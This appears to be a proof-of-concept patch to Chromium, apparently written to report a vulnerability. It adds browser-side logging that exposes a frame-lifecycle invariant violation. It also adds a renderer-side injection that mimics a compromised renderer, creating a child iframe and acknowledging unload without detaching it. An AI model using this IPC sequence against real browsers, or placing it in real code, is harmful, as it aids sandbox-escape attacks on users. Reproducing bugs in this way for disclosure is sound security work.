diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc index 8949727d76136..6cdf1730ab6f8 100644 --- a/content/browser/renderer_host/render_frame_host_impl.cc +++ b/content/browser/renderer_host/render_frame_host_impl.cc @@ -7154,6 +7154,35 @@ void RenderFrameHostImpl::OnUnloadACK() { // This RFH was unloaded while attaching an inner delegate. The RFH // will stay around but it will no longer be associated with a RenderFrame. RenderFrameDeleted(); + // ==== POC OBSERVATION (instrumentation only) ========================= + // This block does NOT alter behaviour; it only surfaces the browser- + // process state reached by the compromised-renderer IPC sequence so the + // invariant violation is visible without a debugger. + LOG(ERROR) << "POC[browser]: OnUnloadACK inner-delegate branch: " + << "is_render_frame_deleted=" << is_render_frame_deleted() + << " inner_tree_main_frame_tree_node_id=" + << inner_tree_main_frame_tree_node_id_.value() + << " children_.size()=" << children_.size(); + if (!children_.empty()) { + RenderFrameHostImpl* gc1 = children_[0]->current_frame_host(); + LOG(ERROR) + << "POC[browser]: *** INVARIANT VIOLATION ***\n" + << "POC[browser]: placeholder RFH render_frame_state=kDeleted " + << "AND inner_tree_main_frame_tree_node_id is set (" + << inner_tree_main_frame_tree_node_id_.value() + << ") AND children_.size()=" << children_.size() << "\n" + << "POC[browser]: child[0] lifecycle=" + << LifecycleStateImplToString(gc1->lifecycle_state()) + << " is_render_frame_created=" << gc1->is_render_frame_created() + << " parent()==placeholder=" << (gc1->parent_ == this) + << " parent()->is_render_frame_deleted=" + << gc1->parent_->is_render_frame_deleted(); + LOG(FATAL) + << "POC[browser]: kDeleted inner-delegate placeholder retains " + << children_.size() + << " live child FTN(s) because OnUnloadACK omitted ResetChildren()"; + } + // ==== END POC OBSERVATION =========================================== return; } diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc index b8d1ca4193685..84263bd4b59d6 100644 --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -2188,6 +2188,37 @@ void RenderFrameImpl::Unload( frame_token_); DCHECK(!base::RunLoop::IsNestedOnCurrentThread()); + // ==== POC INJECTION: simulate compromised renderer ==================== + // When the inner-delegate placeholder receives Unload (sent by + // RFHI::SwapOuterDelegateFrame during inner-WebContents attach), a + // compromised renderer can: + // 1. Send FrameHost::CreateChildFrame on the placeholder to add a child + // FTN ("gc1") in the browser-process frame tree, then + // 2. Send AgentSchedulingGroupHost::DidUnloadRenderFrame WITHOUT first + // performing SwapOutAndDeleteThis() (which would detach gc1 and emit + // FrameHost::Detach for it). + // The browser then takes the inner-delegate branch in OnUnloadACK and calls + // RenderFrameDeleted() on the placeholder WITHOUT ResetChildren(), leaving + // gc1's FTN live under a kDeleted RFH that simultaneously hosts an inner + // WebContents via inner_tree_main_frame_tree_node_id_. + if (getenv("POC_INNER_DELEGATE") && !IsMainFrame() && frame_->Parent() && + frame_->Parent()->IsWebLocalFrame()) { + LOG(ERROR) << "POC[renderer]: intercepted Unload on inner-delegate " + "placeholder; injecting child + sending DidUnloadRenderFrame " + "without swap"; + // (1) Create gc1 under the placeholder via the normal DOM path; this + // synchronously sends FrameHost::CreateChildFrame to the browser. + frame_->ExecuteScript(blink::WebScriptSource(blink::WebString::FromUtf8( + "var f=document.createElement('iframe');" + "(document.body||document.documentElement).appendChild(f);"))); + // (2) Send the unload ACK directly, SKIPPING SwapOutAndDeleteThis(). + // A well-behaved renderer would have detached gc1 first. + agent_scheduling_group_->DidUnloadRenderFrame(frame_->GetLocalFrameToken()); + LOG(ERROR) << "POC[renderer]: DidUnloadRenderFrame sent; gc1 NOT detached"; + return; + } + // ==== END POC INJECTION ============================================== + // Send an UpdateState message before we get deleted. // TODO(dcheng): Improve this comment to clarify why it's important to sent // state updates.